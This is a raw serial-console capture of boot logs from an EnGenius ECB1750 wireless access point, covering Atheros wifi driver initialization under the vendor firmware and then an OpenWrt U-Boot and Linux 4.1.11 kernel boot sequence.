FIRMWARE:_wlan_rtt_enable [ 13.090000] wmi_ready_event_rx: WMI UNIFIED READY event [ 13.090000] ol_ath_connect_htc() WMI is ready [ 13.100000] ol_ath_set_host_app_area TODO [ 13.100000] target uses HTT version 2.1; host uses 2.1 [ 13.110000] ol_ath_attach() connect HTC. [ 13.110000] bypasswmi : 0 [ 13.120000] ol_regdmn_start: reg-domain param: regdmn=0, countryName=, wModeSelect=FFFFFFFF, netBand=FFFFFFFF, extendedChanMode=0. [ 13.130000] [ 13.130000] [5G AC] scn_handle->scn_disable_band=1,[0,0,0,1] [ 13.140000] ol_regdmn_init_channels: !avail mode 0x1f9001 (0x2) flags 0x2150 [ 13.140000] ol_regdmn_init_channels: !avail mode 0x1f9001 (0x4) flags 0xa0 [ 13.150000] ol_regdmn_init_channels: !avail mode 0x1f9001 (0x8) flags 0xc0 [ 13.160000] ol_regdmn_init_channels: !avail mode 0x1f9001 (0x20) flags 0xd0 [ 13.160000] ol_regdmn_init_channels: !avail mode 0x1f9001 (0x40) flags 0x150 [ 13.170000] ol_regdmn_init_channels: !avail mode 0x1f9001 (0x800) flags 0x10080 [ 13.180000] ol_regdmn_init_channels: !avail mode 0x1f9001 (0x2000) flags 0x20080 [ 13.190000] ol_regdmn_init_channels: !avail mode 0x1f9001 (0x4000) flags 0x40080 [ 13.190000] Add VHT80 channel: 5210 [ 13.200000] Add VHT80 channel: 5290 [ 13.200000] Add VHT80 channel: 5530 [ 13.200000] Add VHT80 channel: 5610 [ 13.210000] Add VHT80 channel: 5690 [ 13.210000] Add VHT80 channel: 5775 [ 13.220000] Skipping VHT80 channel 5825 [ 13.220000] ol_ath_phyerr_attach: called [ 13.220000] OL Resmgr Init-ed [ 13.230000] Green-AP : Green-AP : Attached [ 13.230000] [ 13.230000] Green-AP : Attached [ 13.240000] ol_if_dfs_setup: called [ 13.240000] ol_if_dfs_attach: called; ptr=858e5974, radar_info=8707db70 [ 13.250000] ol_ath_rtt_meas_report_attach: called [ 13.250000] ol_ath_attach() UMAC attach . [ 13.260000] ol_if_dfs_configure: called [ 13.260000] ol_if_dfs_configure: FCC domain [ 13.260000] ol_if_dfs_disable: called [ 13.270000] ol_ath_attach: Calling ol_if_dfs_configure [ 13.270000] __ol_ath_attach: init tx/rx TODO [ 13.280000] __ol_ath_attach: hard_header_len reservation 58 [ 13.500000] nf_conntrack version 0.5.0 (1976 buckets, 7904 max) [ 13.730000] xt_time: kernel timezone is -0000 [ 13.840000] ip6_tables: (C) 2000-2006 Netfilter Core Team [ 13.890000] [wifi1] FWLOG: [21774] WAL_DBGID_TX_AC_BUFFER_SET ( 0x3, 0x1e, 0x460, 0x460, 0x0 ) [ 13.900000] [wifi1] FWLOG: [21774] WAL_DBGID_TX_AC_BUFFER_SET ( 0x12, 0x1e, 0x460, 0x460, 0x0 ) [ 13.910000] [wifi1] FWLOG: [21774] WAL_DBGID_TX_AC_BUFFER_SET ( 0x45, 0x1e, 0x460, 0x460, 0x0 ) [ 13.920000] [wifi1] FWLOG: [21774] WAL_DBGID_TX_AC_BUFFER_SET ( 0x67, 0x1e, 0x460, 0x460, 0x0 ) [ 13.930000] [wifi1] FWLOG: [21779] WHAL_ERROR_RECV_STOPPCU ( 0x110298a, 0x3 ) [ 13.930000] [wifi1] FWLOG: [21779] WHAL_ERROR_RESET_PM ( ) [ 13.940000] [wifi1] FWLOG: [21786] WAL_DBGID_DEV_RESET ( 0x1, 0x1, 0x1 ) [ 13.950000] [wifi1] FWLOG: [21978] ANI Enable: 1 [ 13.950000] [wifi1] FWLOG: [21985] WAL_DBGID_DEV_RESET ( 0x1, 0x1, 0x1 ) [ 23.100000] ADDRCONF(NETDEV_UP): eth0: link is not ready [ 23.120000] device eth0 entered promiscuous mode [ 23.120000] ADDRCONF(NETDEV_UP): br-lan: link is not ready [ 23.300000] eth0: link up (1000Mbps/Full duplex) [ 23.300000] br-lan: port 1(eth0) entered forwarding state [ 23.310000] br-lan: port 1(eth0) entered forwarding state [ 23.310000] ADDRCONF(NETDEV_CHANGE): eth0: link becomes ready [ 23.330000] ADDRCONF(NETDEV_CHANGE): br-lan: link becomes ready [ 27.320000] br-lan: port 1(eth0) entered forwarding state hsy:debug: 0 [ 28.240000] Suspending Target - with disable_intr set :wifi1 (sc 87ac9600) [ 28.240000] waiting for target paused event from target :wifi1 (sc 87ac9600) [ 28.250000] __ol_ath_detach: init tx/rx cleanup TODO [ 28.260000] ol_if_dfs_teardown: called [ 28.260000] ol_ath_phyerr_detach: called [ 28.270000] CE_fini 2205 Cleaning up HTT Tx CE [ 28.270000] CE_fini Cleaning up HTT MSG CE(5) [ 28.280000] Green-AP : Green-AP : Detached [ 28.280000] [ 28.280000] Green-AP : Detached [ 28.290000] ath_pci_warm_reset :(sc 87ac9600) [ 28.290000] Target Warm Reset [ 28.290000] Host Intr Cause reg 0x900c : value : 0x4000 [ 28.300000] Target CPU Intr Cause 0x5040 [ 28.400000] addr 0x4050 : 0x4 [ 28.430000] Target CPU Intr Cause after CE reset 0x40 [ 28.430000] RESET_CONTROL after cpu warm reset 0x800 [ 28.540000] Target Warm reset complete [ 28.540000] ath_pci_remove [ 28.560000] Green-AP : Green-AP : Detached [ 28.560000] [ 28.580000] Removing athdebug proc file [ 28.590000] ath_dev: driver unloaded [ 28.600000] ath_dfs: driver unloaded [ 28.620000] ath_rate_atheros: driver unloaded [ 28.640000] ath_hal: driver unloaded [ 32.400000] ****Address of trace_timer :8640e610 [ 34.500000] ath_hal: 0.9.17.1 (AR5416, AR9380, REGOPS_FUNC, WRITE_EEPROM, TX_DATA_SWAP, RX_DATA_SWAP, 11D) [ 34.530000] ath_rate_atheros: Copyright (c) 2001-2005 Atheros Communications, Inc, All Rights Reserved [ 34.550000] ath_dfs: Version 2.0.0 [ 34.550000] Copyright (c) 2005-2006 Atheros Communications, Inc. All Rights Reserved [ 34.580000] ath_dev: Copyright (c) 2001-2007 Atheros Communications, Inc, All Rights Reserved [ 36.760000] __ath_attach: Set global_scn[0] [ 36.770000] Enterprise mode: 0x23fc0000 [ 36.780000] Restoring Cal data from DRAM [ 36.780000] [ 36.780000] ART Version : 10.347 [ 36.790000] SW Image Version : 0.20.-30.2.5 [ 36.790000] Board Revision : 6 [ 36.790000] ar9300_attach: nf_2_nom -110 nf_2_max -60 nf_2_min -125 [ 36.800000] [ 36.800000] [5G A/N] scn_handle->scn_disable_band=1,[0,0,0,1] [ 36.810000] Green-AP : Green-AP : Attached [ 36.810000] [ 36.820000] ath_get_caps[6195] rx chainmask mismatch actual 7 sc_chainmak 0 [ 36.830000] ath_get_caps[6170] tx chainmask mismatch actual 7 sc_chainmak 0 [ 36.840000] ath_attach_dfs[12718] dfsdomain 1 [ 36.860000] wifi0: Atheros ???: mem=0xb8100000, irq=47 [ 36.860000] ath_pci: SmartAntenna-DRT-0.1 (Atheros/multi-bss) [ 36.870000] ath_pci_probe [ 36.870000] PCI device id is 003c :003c [ 36.870000] ath_pci 0000:00:00.0: BAR 0: assigned [mem 0x10000000-0x101fffff 64bit] [ 36.880000] ath_pci 0000:00:00.0: ath DEBUG: sc=0x87ad1e00 [ 36.890000] [ 36.890000] ol_ath_pci_configure : num_desired MSI set to 0 [ 36.900000] [ 36.900000] Using PCI Legacy Interrupt [ 37.900000] CE_per_engine_handler_adjust, base=87ad1e00 offset=00057400 [ 37.900000] CE_per_engine_handler_adjust, base=87ad1e00 offset=00057800 [ 37.920000] __ol_ath_attach: ath_attach TODO [ 37.920000] __ol_ath_attach: dev name wifi1 [ 37.930000] ol_ath_set_default_tgt_config : AC Minfree buffer allocation through module param (umac.ko) [ 37.940000] OL_ACBKMinfree : 0 [ 37.940000] OL_ACBEMinfree : 0 [ 37.950000] OL_ACVIMinfree : 0 [ 37.950000] OL_ACVOMinfree : 0 [ 37.950000] ol_ath_attach() BMI inited. [ 37.960000] ol_ath_attach() BMI Get Target Info. [ 37.960000] ol_ath_attach() TARGET TYPE: 7 Vers 0x4100016c [ 37.970000] NUM_DEV=1 FWMODE=0x2 FWSUBMODE=0x0 FWBR_BUF 0 [ 37.970000] ol_ath_attach() configure Target . [ 37.980000] qc98xx_verify_checksum: flash checksum passed: 0xcab0 [ 37.980000] [ 37.980000] ========== ac_obey_reg_power = 1 [ 37.990000] ol_transfer_bin_file 2337: Download DRAM data len 2116 [ 38.000000] ol_ath_download_firmware: cal_in_flash=0, ATH_DRAM_DATA_FILE status=0 [ 38.010000] Download AR9888v2_bin [ 38.010000] ol_transfer_bin_file 2193: Download Firmware data len 235576 [ 39.040000] ol_ath_attach() Download FW. [ 39.040000] ol_ath_attach() HT Create . [ 39.040000] ol_ath_attach() HIF Claim. [ 39.050000] ol_ath_attach() BMI Done. [ 39.050000] ol_ath_attach() WMI attached. wmi_handle 85bd0000 [ 39.060000] +HWT [ 39.060000] SOC_RESET_CONTROL_ADDRESS : 800 [ 39.060000] CPU_INTR_ADDRESS = [0] [ 39.070000] SOC_GLOBAL_RESET_ADDRESS = [0] [ 39.070000] Rx_Filter : [80200] [ 39.070000] CE_per_engine_handler_adjust, base=87ad1e00 offset=00057400 [ 39.080000] CE_per_engine_handler_adjust, base=87ad1e00 offset=00057800 [ 39.090000] CE_per_engine_handler_adjust, base=87ad1e00 offset=00057c00 [ 39.100000] CE_per_engine_handler_adjust, base=87ad1e00 offset=00058000 [ 39.100000] CE_per_engine_handler_adjust, base=87ad1e00 offset=00058400 [ 39.110000] CE_per_engine_handler_adjust, base=87ad1e00 offset=00058800 [ 39.120000] CE_recv_buf_enqueue 654 Populate last entry 512 for CE 5 [ 39.120000] CE_recv_buf_enqueue 663 CE 5 wi 511 dest_ptr 0x67d5040 nbytes 0 recv_ctxt 0x87be9180 [ 39.130000] Target:85b02000 HTC Service:0x0001, ULpipe:0 DLpipe:1 id:0 Ready [ 39.140000] -HWT [ 39.140000] Target:85b02000 HTC Service:0x0300, ULpipe:4 DLpipe:5 id:1 Ready [ 39.150000] HTC Service:0x0300 ep:1 TX flow control disabled [ 39.160000] CE_pkt_dl_len_set CE 4 Pkt download length 64 [ 39.160000] ol_txrx_pdev_attach: 1424 tx desc's allocated ; range starts from 87210000 [ 39.170000] Target:85b02000 HTC Service:0x0100, ULpipe:3 DLpipe:2 id:2 Ready [ 39.180000] HTC Service:0x0100 ep:2 TX flow control disabled [ 39.190000] wmi_service_ready_event_rx: WMI UNIFIED SERVICE READY event [ 39.190000] num_rf_chain : 00000003 [ 39.200000] ht_cap_info: : 0000085b [ 39.200000] vht_cap_info : 338001b2 [ 39.200000] vht_supp_mcs : 0000ffea [ 39.210000] LARGE_AP enabled. num_peers 144, num_vdevs 16, num_tids 256, lteu_support 0 [ 39.210000] idx 0 req 1 num_units 0 num_unit_info 2 unit size 440 actual units 145 [ 39.220000] chunk 0 len 63800 requested ,ptr 0x7220000 [ 39.240000] FIRMWARE:P 145 V 16 T 443 [ 39.240000] [ 39.240000] FIRMWARE:_wlan_rtt_enable [ 39.250000] wmi_ready_event_rx: WMI UNIFIED READY event [ 39.250000] ol_ath_connect_htc() WMI is ready [ 39.260000] ol_ath_set_host_app_area TODO [ 39.260000] target uses HTT version 2.1; host uses 2.1 [ 39.270000] ol_ath_attach() connect HTC. [ 39.280000] bypasswmi : 0 [ 39.280000] ol_regdmn_start: reg-domain param: regdmn=0, countryName=, wModeSelect=FFFFFFFF, netBand=FFFFFFFF, extendedChanMode=0. [ 39.290000] [ 39.290000] [5G AC] scn_handle->scn_disable_band=1,[0,0,0,1] [ 39.300000] ol_regdmn_init_channels: !avail mode 0x1f9001 (0x2) flags 0x2150 [ 39.310000] ol_regdmn_init_channels: !avail mode 0x1f9001 (0x4) flags 0xa0 [ 39.310000] ol_regdmn_init_channels: !avail mode 0x1f9001 (0x8) flags 0xc0 [ 39.320000] ol_regdmn_init_channels: !avail mode 0x1f9001 (0x20) flags 0xd0 [ 39.330000] ol_regdmn_init_channels: !avail mode 0x1f9001 (0x40) flags 0x150 [ 39.330000] ol_regdmn_init_channels: !avail mode 0x1f9001 (0x800) flags 0x10080 [ 39.340000] ol_regdmn_init_channels: !avail mode 0x1f9001 (0x2000) flags 0x20080 [ 39.350000] ol_regdmn_init_channels: !avail mode 0x1f9001 (0x4000) flags 0x40080 [ 39.360000] Add VHT80 channel: 5210 [ 39.360000] Add VHT80 channel: 5290 [ 39.360000] Add VHT80 channel: 5530 [ 39.370000] Add VHT80 channel: 5610 [ 39.370000] Add VHT80 channel: 5690 [ 39.370000] Add VHT80 channel: 5775 [ 39.380000] Skipping VHT80 channel 5825 [ 39.380000] ol_ath_phyerr_attach: called [ 39.390000] OL Resmgr Init-ed [ 39.390000] Green-AP : Green-AP : Attached [ 39.390000] [ 39.400000] Green-AP : Attached [ 39.400000] ol_if_dfs_setup: called [ 39.400000] ol_if_dfs_attach: called; ptr=856ad974, radar_info=87025b70 [ 39.410000] ol_ath_rtt_meas_report_attach: called [ 39.410000] ol_ath_attach() UMAC attach . [ 39.420000] ol_if_dfs_configure: called [ 39.420000] ol_if_dfs_configure: FCC domain [ 39.430000] ol_if_dfs_disable: called [ 39.430000] ol_ath_attach: Calling ol_if_dfs_configure [ 39.440000] __ol_ath_attach: init tx/rx TODO [ 39.440000] __ol_ath_attach: hard_header_len reservation 58 [ 39.790000] [ 39.790000] [5G AC] scn_handle->scn_disable_band=9,[1,0,0,1] [ 39.800000] isCountryCodeValid: EEPROM regdomain 0x0 [ 39.800000] ol_regdmn_init_channels: !avail mode 0x1f9001 (0x2) flags 0x2150 [ 39.810000] ol_regdmn_init_channels: !avail mode 0x1f9001 (0x4) flags 0xa0 [ 39.810000] ol_regdmn_init_channels: !avail mode 0x1f9001 (0x8) flags 0xc0 [ 39.820000] ol_regdmn_init_channels: !avail mode 0x1f9001 (0x20) flags 0xd0 [ 39.830000] ol_regdmn_init_channels: !avail mode 0x1f9001 (0x40) flags 0x150 [ 39.840000] ol_regdmn_init_channels: !avail mode 0x1f9001 (0x800) flags 0x10080 [ 39.840000] ol_regdmn_init_channels: !avail mode 0x1f9001 (0x2000) flags 0x20080 [ 39.850000] ol_regdmn_init_channels: !avail mode 0x1f9001 (0x4000) flags 0x40080 [ 39.860000] Add VHT80 channel: 5210 [ 39.860000] Add VHT80 channel: 5290 [ 39.870000] Add VHT80 channel: 5530 [ 39.870000] Add VHT80 channel: 5610 [ 39.870000] Add VHT80 channel: 5690 [ 39.880000] Add VHT80 channel: 5775 [ 39.880000] Skipping VHT80 channel 5825 [ 40.020000] ath_ioctl: SIOC80211IFCREATE CALLED [ 40.020000] wmi_unified_vdev_create_send: ID = 0 VAP Addr = 88:dc:96:39:d9:a3: [ 40.030000] Setting dscp for vap id: 0 [ 40.030000] VAP device ath1 created osifp: (87173380) os_if: (858a0000) [ 40.050000] [wifi1] FWLOG: [48564] WAL_DBGID_TX_AC_BUFFER_SET ( 0x3, 0x1e, 0x460, 0x460, 0x0 ) [ 40.060000] [wifi1] FWLOG: [48564] WAL_DBGID_TX_AC_BUFFER_SET ( 0x12, 0x1e, 0x460, 0x460, 0x0 ) [ 40.070000] [wifi1] FWLOG: [48564] WAL_DBGID_TX_AC_BUFFER_SET ( 0x45, 0x1e, 0x460, 0x460, 0x0 ) [ 40.080000] [wifi1] FWLOG: [48564] WAL_DBGID_TX_AC_BUFFER_SET ( 0x67, 0x1e, 0x460, 0x460, 0x0 ) [ 40.090000] [wifi1] FWLOG: [48569] WHAL_ERROR_RECV_STOPPCU ( 0x110298a, 0x3 ) [ 40.100000] [wifi1] FWLOG: [48569] WHAL_ERROR_RESET_PM ( ) [ 40.100000] [wifi1] FWLOG: [48576] WAL_DBGID_DEV_RESET ( 0x1, 0x1, 0x1 ) [ 40.110000] [wifi1] FWLOG: [48768] ANI Enable: 1 [ 40.110000] [wifi1] FWLOG: [48776] WAL_DBGID_DEV_RESET ( 0x1, 0x1, 0x1 ) [ 40.120000] [wifi1] FWLOG: [49278] WAL_DBGID_DEV_RESET ( 0x1, 0x1, 0x1 ) [ 40.130000] [wifi1] FWLOG: [49286] WAL_DBGID_DEV_RESET ( 0x1, 0x1, 0x1 ) [ 40.140000] Set freq vap 0 stop send + 858a0000 [ 40.150000] OL vap_stop + [ 40.150000] wmi_unified_vdev_stop_send for vap 0 (85bd0000) [ 40.160000] OL vap_stop - [ 40.160000] STOPPED EVENT for vap 0 (85bd0000) [ 40.160000] Set freq vap 0 stop send -858a0000 [ 40.300000] Set wait done --858a0000 hsy:preset 11k (ath1) to disable [ 40.360000] ol_ath_desc_alloc_and_mark_for_mcast_clone: VAP Mcast to Unicast buffer allocated: 400 [ 40.370000] ol_ath_vap_set_param: VAP param is now supported param:67 value:2 [ 40.430000] [ 40.430000] DES SSID SET= [ 40.440000] [ 40.440000] DES SSID SET=EnGenius39D9A3_1-5GHz [ 40.870000] device ath1 entered promiscuous mode [ 41.050000] [wifi1] FWLOG: [49774] RATE: NEW NSS 3 [ 41.060000] [ 41.600000] OL vap_stop + [ 41.600000] wmi_unified_vdev_stop_send for vap 0 (85bd0000) [ 41.600000] OL vap_stop - [ 41.610000] STOPPED EVENT for vap 0 (85bd0000) [ 41.740000] wmi_unified_scan_start_send for vap 0 (85bd0000) [ 41.740000] br-lan: port 2(ath1) entered forwarding state [ 41.750000] br-lan: port 2(ath1) entered forwarding state [ 41.750000] 8021q: adding VLAN 0 to HW filter on device ath1 [ 44.440000] OL vap_start + [ 44.450000] wmi_unified_vdev_start_send for vap 0 (85bd0000) [ 44.450000] OL vap_start - [ 44.460000] ol_vdev_start_resp_ev for vap 0 (85bd0000) [ 44.460000] ol_ath_vap_join: join operation is only for STA/IBSS mode [ 44.470000] ol_ath_wmm_update: [ 44.470000] [ 44.470000] ieee80211_dfs_cac_start = 1 [ 44.480000] wmi_unified_vdev_up_send for vap 0 (85bd0000) [ 44.480000] Notification to UMAC VAP layer [ 45.760000] br-lan: port 2(ath1) entered forwarding state [ 46.130000] ath_attach_dfs[12718] dfsdomain 1 [ 46.160000] [ 46.160000] [5G A/N] scn_handle->scn_disable_band=9,[1,0,0,1] [ 46.220000] DCS for CW interference mitigation: 0 [ 46.220000] DCS for WLAN interference mitigation: 0 [ 46.240000] VAP device ath0 created osifp: (864dcb80) os_if: (872e8000) [ 46.260000] Set freq vap 0 stop send + 872e8000 [ 46.270000] Set freq vap 0 stop send -872e8000 [ 46.400000] Set wait done --872e8000 hsy:preset 11k (ath0) to disable [ 46.510000] [ 46.510000] DES SSID SET= [ 46.520000] [ 46.520000] DES SSID SET=EnGenius39D9A2_1-2.4GHz [ 46.960000] device ath0 entered promiscuous mode [ 47.850000] br-lan: port 3(ath0) entered forwarding state [ 47.850000] br-lan: port 3(ath0) entered forwarding state [ 47.870000] 8021q: adding VLAN 0 to HW filter on device ath0 [ 50.220000] [ 50.220000] ieee80211_dfs_cac_start = 1 [ 50.290000] [ 50.290000] ieee80211_dfs_cac_start = 1 [ 50.300000] [ 50.300000] ieee80211_dfs_cac_start = 1 [ 51.060000] [wifi1] FWLOG: [60212] WAL_DBGID_DEV_RESET ( 0x1, 0x1, 0x1 ) [ 51.060000] [wifi1] FWLOG: [60212] WAL_DBGID_DEV_TX_TIMEOUT ( 0x9 ) [ 51.860000] br-lan: port 3(ath0) entered forwarding state


OpenWrt bootlog

U-Boot 1.1.4 (v1.0.0) (Nov 6 2014 - 12:56:32) ECB1200_1750 - Scorpion 1.0DRAM: sri Scorpion 1.0 ath_ddr_initial_config(200): (32bit) ddr2 init tap = 0x00000003 Tap (low, high) = (0x3, 0x1a) Tap values = (0xe, 0xe, 0xe, 0xe) 128 MB Top of RAM usable for U-Boot at: 88000000 Reserving 216k for U-Boot at: 87fc8000 Reserving 192k for malloc() at: 87f98000 Reserving 44 Bytes for Board Info at: 87f97fd4 Reserving 36 Bytes for Globta at: 87f97fb0 Reserving 128k for boot params() at: 87f77fb0 Stack Pointer at: 87f77f98 Now running in RAM - U-Boot at: 87fc8000 Flash Manuf Id 0xc2, DeviceId0 0x20, DeviceId1 0x18 flash size 16MB, sector count = 256 Flash: 16 MB *** Warning *** : 2nd PCIe WLAN Module not found !!! In: serial Out: serial Err: serial Net: ath_gmac_enet_initialize... athrs_sgmii_res_cal: cal value = 0x1 Fetching MAC Address from 0x87feb810 ath_gmac_enet_initialize: reset mask:c02200 Scorpion ----> AR8035 PHY * AR8035 PHY init : cfg1 0xf cfg2 0x7135 eth0: 88:dc:96:39:d9:a1 ATHR8035_PHY: Phy 5, Neg Success ATHR8035_PHY: unit 0 phy addr 5 eth0 up eth0 Setting 0x18116290 to 0x58b1a14f Hit any key to stop autoboot: 5 ## Booting image at 9f050000 ... Image Name: MIPS OpenWrt Linux-4.1.11 Created: 2015-11-29 6:33:07 UTC Image Type: MIPS Linux Kernel Image (lzma compressed) Data Size: 125 Bytes = 1.2 MB Load Address: 80060000 Entry Point: 80060000 Verifying Checksum at 0x9f05 ...OK Uncompressing Kernel Image ... OK No initrd ## Transferring control to Linux (at address 80060000) ... ## Giving linux memsize in bytes, 134217728 Starting kernel ... [ 0.000000] Linux version 4.1.11 (andrew@rhaegar.a3.io) (gcc version 5.2.0 (OpenWrt GCC 5.2.0 r47670) ) #1 Sun Nov 29 00:33:01 CST 2015 [ 0.000000] bootconsole [early0] enabled [ 0.000000] CPU0 revi is: 00019750 (MIPS 74Kc) [ 0.000000] SoC: Qualcomm Atheros QCA9558 ver 1 rev 0 [ 0.000000] Detned physical RAM map: [ 0.000000] memory: 08000000 @ 00000000 (usable) [ 0.000000] Initrd not found or empty - disabling initrd [ 0.000000] Zone ranges: [ 0.000000] Normal [mem 0x0000000000000000-0x0000000007ffffff] 0.000000] Early memory node rangesr each node [ 0.000000] node 0: [mem 0x0000000000000000-0x0000000007ff] [ 0.000000] Initmem setup node 0 [mem 0x0000000000000000-0x0000000007ffffff] [ 0.000000] Primary instruction cache 64kB, VIPT, 4-way, linesize 32 bytes. [ 0.000000] Primary data cache 32kB, 4-way, VIPT, cache aliases, linesize 32 bytes [ 0.000000] Built 1 zonelists in Zone order, mobility grouping on. Total pages: 32512 [ 0.000000] Kernel commane: board=ECB1750 console=ttyS0,115200 mtdparts=spi0.0:256k(u-boot),64k(u-boot-env),1408k(kernel),14272k(rootfs),320k(userconfigk(art),15680k@0x50000(firmware) rootfstype=squashfs,jffs2 noinitrd [ 0.000000] PID hash table entries: 512 (ord-1, 2048 bytes) [ 0.000000] Dentry cache hash table entries: 16384 (order: 4, 65536 bytes) [ 0.000000] Inode-cache hash table entries: 8192 (order: 3, 32768 bytes) [ 0.000000] Writing ErrCtl register=00000000 [ 0.000000] Readback ErrCtl register=00000000 [ 0.000000] Memory: 125532K/131072K available (2798K kernel code, 133K rwdata, 572K rodata, 264K init, 195K bss, 5540K reserved, 0K cma-reserved) [ 0.000000] SLUB: HWalign=32, Order=0-3, MinObjects=0, =1, Nodes=1 [ 0.000000] NR_IRQS:83 [ 0.000000] Clocks: CPU:720.000MHz, DDR:600.000MHz, AHB:200.000MHz, Ref:40.000MHz [ 0.000000] clockce MIPS: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 5309056796 ns [ 0.000007] sched_clo2 bits at 360MHz, resolution 2ns, wraps every 5965232126ns [ 0.007491] Calibrating delay loop... 358.80 BogoMIPS (lpj=1794048) [ 0.070061] pid_max: default: 32768 minimum: 301 [ 0.074610] Mount-cache hash table entries: 1024 (order: 0, 4096 bytes) [ 0.080936] Mountpoint-cache hash table entries: 1024der: 0, 4096 bytes) [ 0.089777] clocksource jiffies: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 19112604462750000 ns [ 0.099669] NET: Registered protocol family 16 [ 0.104907] MIPS: machine is EnGenius ECB1750 [ 0.112169] registering PCI controller with io_map_base unset [ 0.117755] ar724x-pci ar724x-pci.1: PCIe link is down [ 0.122673] registering PCI controller with io_map_base unset [ 0.349441] PCI host bridge to bus 0000:00 [ 0.353370] pci_bus 0000:00: root bus resource [mem 0x10000000-0x11ffffff] [ 0.359966] pci_bus 0000:00: root bus resource [io 0x0000] [ 0.365350] pci_0000:00: root bus resource [??? 0x00000000 flags 0x0] [ 0.371894] pci_bus 0000:00: No busn resourcend for root bus, will use [bus 00-ff] [ 0.379952] pci 0000:00:00.0: BAR 0: assigned [mem 0x10000000-0x101fffff 64bit] [ 0.386963] pci 0000:00:00.0: BAR 6: assigned [mem 0x10200000-0x1020ffff pref] [ 0.394045] PCI host ge to bus 0000:01 [ 0.397939] pci_bus 0000:01: root bus resource [mem 0x12000000-0x13ffffff] [ 04586] pci_bus 0000:01: root bus resource [io 0x0001] [ 0.409946] pci_bus 0000:01: root bus resour??? 0x00000000 flags 0x0] [ 0.416505] pci_bus 0000:01: No busn resource found for root bus, will ubus 01-ff] [ 0.424177] pci 0000:00:00.0: using irq 40 for pin 1 [ 0.429550] Switched to clocksource MIPS [ 0.434270] NET: Registered protocol family 2 [ 0.439122] TCP established hash table entries: 1024 (order: 0, 4096 bytes) [ 0.445816] TCP bind hash table entries: 1024 (order: 0, 4096 bytes) [ 0.451940] TCP: Hash tables configured (established 1bind 1024) [ 0.458117] UDP hash table entries: 256 (order: 0, 4096 bytes) [ 0.463722] UDP-Lite htable entries: 256 (order: 0, 4096 bytes) [ 0.469969] NET: Registered protocol family 1 [ 0.474947] futex hash table entries: 256 (order: -1, 3072 bytes) [ 0.494171] squashfs: version 4.0 (2009/01/31) Phillip Lougher [ 0.499785] jffs2: version 2.2 (NAND) (SUMMARY) (LZMA) (RTIME) (CMODE_PRIORITY) (c) 2001-2006 Red Hat, Inc. [ 0.511377] io scheduler noop registered [ 0.515101] io scheduler deadline registered (default) [ 0.520268] Serial: 8250/16550 driver, 1 ports, IRQ sharing disabled �[ 0.550123] serial8250.0: ttyS0 at MMIO 0x18020000 (irq = 11, base_baud = 2500000) is a 16550A [ 0.558388] console [ttyS0] enabled [ 0.558388] console [ttyS0] enabled [ 0.565432] bootconsole [early0] disabled [ 0.565432] bootconsole [early0] disabled [ 0.575595] m25p80 spi0.0: found mx25l12805d, expected m25p80 [ 0.581488] m25p80 spi0.0: mx25l12805d (16384 Kbytes) [ 0.586634] 7 cmdlinepart partitions found on MTD device spi0.0 [ 0.592643] Creating 7 MTD partitions on "spi0.0": [ 0.597501] 0x000000000000-0x000000040000 : "u-boot" [ 0.603239] 0x000000040000-0x000000050000 : "u-boot-env" [ 0.609241] 0x000000050000-0x0000001b0000 : "kernel" [ 0.614951] 0x0000001b0000-0x000000fa0000 : "rootfs" [ 0.620631] mtd: device 3 (rootfs) set to be root filesystem [ 0.626433] 1 squashfs-split partitions found on MTD device rootfs [ 0.632737] 0x0000003c0000-0x000000fa0000 : "rootfs_data" [ 0.638854] 0x000000fa0000-0x000000ff0000 : "userconfig" [ 0.644911] 0x000000ff0000-0x000001000000 : "art" [ 0.650358] 0x000000050000-0x000000fa0000 : "firmware" [ 0.672725] libphy: ag71xx_mdio: probed [ 1.340009] ag71xx ag71xx.0: connected to PHY at ag71xx-mdio.0:05 [uid=004dd072, driver=Atheros 8035 ethernet] [ 1.350705] eth0: Atheros AG71xx at 0xb9000000, irq 4, mode:RGMII [ 1.358563] NET: Registered protocol family 10 [ 1.365764] NET: Registered protocol family 17 [ 1.370380] bridge: automatic filtering via arp/ip/ip6tables has been deprecated. Update your scripts to load br_netfilter if you need this. [ 1.383291] 8021q: 802.1Q VLAN Support v1.8 [ 1.394690] VFS: Mounted root (squashfs filesystem) readonly on device 31:3. [ 1.402840] Freeing unused kernel memory: 264K (803ce000 - 80410000) [ 2.352173] init: Console is alive [ 2.355788] init: - watchdog - [ 3.359432] init: - preinit - [ 4.026284] IPv6: ADDRCONF(NETDEV_UP): eth0: link is not ready Press the [f] key and hit [enter] to enter failsafe mode Press the [1], [2], [3] or [4] key and hit [enter] to select the debug level [ 7.377235] jffs2: notice: (321) jffs2_build_xattr_subsystem: complete building xattr subsystem, 0 of xdatum (0 unchecked, 0 orphan) and 0 of xref (0 dead, 0 orphan) found. [ 7.394480] mount_root: switching to jffs2 overlay [ 7.431503] procd: - early - [ 7.434502] procd: - watchdog - [ 8.096554] procd: - ubus - [ 9.102365] random: ubusd urandom read with 14 bits of entropy available [ 9.120635] procd: - init - Please press Enter to activate this console. [ 9.724349] ip6_tables: (C) 2000-2006 Netfilter Core Team [ 9.740290] Loading modules backported from Linux version master-2015-10-26-0-g28c26cb [ 9.748325] Backport generated by backports.git backports-20150903-4-g12cf266 [ 9.774692] cfg80211: World regulatory domain updated: [ 9.779945] cfg80211: DFS Master region: unset [ 9.784362] cfg80211: (start_freq - end_freq @ bandwidth), (max_antenna_gain, max_eirp), (dfs_cac_time) [ 9.794248] cfg80211: (2402000 KHz - 2472000 KHz @ 40000 KHz), (N/A, 2000 mBm), (N/A) [ 9.802368] cfg80211: (2457000 KHz - 2482000 KHz @ 40000 KHz), (N/A, 2000 mBm), (N/A) [ 9.810489] cfg80211: (2474000 KHz - 2494000 KHz @ 20000 KHz), (N/A, 2000 mBm), (N/A) [ 9.818607] cfg80211: (5170000 KHz - 5250000 KHz @ 80000 KHz, 160000 KHz AUTO), (N/A, 2000 mBm), (N/A) [ 9.828223] cfg80211: (5250000 KHz - 5330000 KHz @ 80000 KHz, 160000 KHz AUTO), (N/A, 2000 mBm), (0 s) [ 9.837840] cfg80211: (5490000 KHz - 5730000 KHz @ 160000 KHz), (N/A, 2000 mBm), (0 s) [ 9.846048] cfg80211: (5735000 KHz - 5835000 KHz @ 80000 KHz), (N/A, 2000 mBm), (N/A) [ 9.854173] cfg80211: (57240000 KHz - 63720000 KHz @ 2160000 KHz), (N/A, 0 mBm), (N/A) [ 9.942422] PCI: Enabling device 0000:00:00.0 (0000 -> 0002) [ 9.948569] 